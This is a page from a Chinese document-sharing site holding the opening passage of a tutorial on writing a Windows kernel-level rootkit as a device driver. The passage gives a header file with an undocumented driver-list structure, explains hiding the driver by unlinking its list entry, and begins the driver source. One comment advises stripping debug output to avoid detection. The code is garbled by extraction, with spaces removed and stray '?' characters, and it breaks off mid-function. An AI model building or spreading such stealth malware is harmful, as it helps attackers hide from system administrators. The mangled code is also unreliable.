資源描述:
《內(nèi)核級Rootkit教程》由會員上傳分享,免費在線閱讀,更多相關(guān)內(nèi)容在教育資源-天天文庫。
1、內(nèi)核級Rootkit教程一、綜述本文將引領(lǐng)讀者打造一個初級的內(nèi)核級Rootkit,然后為其引入兩種簡單的隱形技術(shù):進程隱形技術(shù)和文件隱形技術(shù)。同時,為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術(shù)。本文介紹的Rootkit的主要構(gòu)件是一個設(shè)備驅(qū)動程序,所以我們首先了解一下我們的第一個rootkit。二、rootkit主體本節(jié)引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設(shè)備驅(qū)動程序。那么為什么要用設(shè)備驅(qū)動程序作為主體呢?很明顯,因為在系統(tǒng)中,設(shè)備驅(qū)動程序和操作系統(tǒng)
2、一樣,都是程序中的特權(quán)階級——它們運行于Ring0,有權(quán)訪問系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點需要說明的是,因為本例主要目的在于介紹rootkit是如何隱形的,所以并沒有實現(xiàn)后門之類的具體功能,。我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個文件,它是一個頭文件,名為Invisible.h,具體如下所示://Invisible.h:我們rootkit的頭文件#ifndef_INVISIBLE_H_#define_INVISIBLE_H_typedefBOOLEANBOOL;typedefunsignedlongDWOR
3、D;typedefDWORD*PDWORD;typedefunsignedlongULONG;typedefunsignedshortWORD;typedefunsignedcharBYTE;typedefstruct_DRIVER_DATA{?LIST_ENTRYlistEntry;?DWORD?unknown1;?DWORD?unknown2;?DWORD?unknown3;?DWORD?unknown4;?DWORD?unknown5;?DWORD?unknown6;?DWORD?unknown7;?UNICODE_STRINGpath;?UNICODE_STRING
4、name;}DRIVER_DATA;#endif?我們知道,應(yīng)用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動程序這里就行不通了,原因大致有二條,一是驅(qū)動程序體積一般較為緊湊,二是驅(qū)動程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。這里定義的類型中,有一個數(shù)據(jù)類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows操作系統(tǒng)未公開的一個數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動程序目錄中上一個和下
5、一個設(shè)備驅(qū)動程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動程序來實現(xiàn),所以,只要從設(shè)備驅(qū)動程序目錄中將我們的rootkit(即驅(qū)動程序)所對應(yīng)的目錄項去掉,系統(tǒng)管理程序就看不到它了,從而實現(xiàn)了隱形。上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實際就是一個基本的設(shè)備驅(qū)動程序,具體代碼如下面的Invisible.c所示://Invisible#include"ntddk.h"#include"Invisible.h"#include"fileManager.h"#include"configManager.h"http://全局變量ULONG
6、majorVersion;ULONGminorVersion;//當進行freebuild時,將其注釋掉,以防被檢測到VOIDOnUnload(INPDRIVER_OBJECTpDriverObject){?DbgPrint("comint16:OnUnloadcalled.");}NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObject,INPUNICODE_STRINGtheRegistryPath){?DRIVER_DATA*driverData;?//取得操作系統(tǒng)的版本?PsGetVersion(&majorVersion,
7、&minorVersion,NULL,NULL);?//Major=4:WindowsNT4.0,WindowsMe,Windows98或Windows95?//Major=5:WindowsServer2003,WindowsXP或Windows2000?//Minor=0:Windows2000,WindowsNT4.0或Windows95?//Minor=1:WindowsXP?//Minor=2:WindowsServer2003?if(majorVersion==5&&minorVersion==2)?{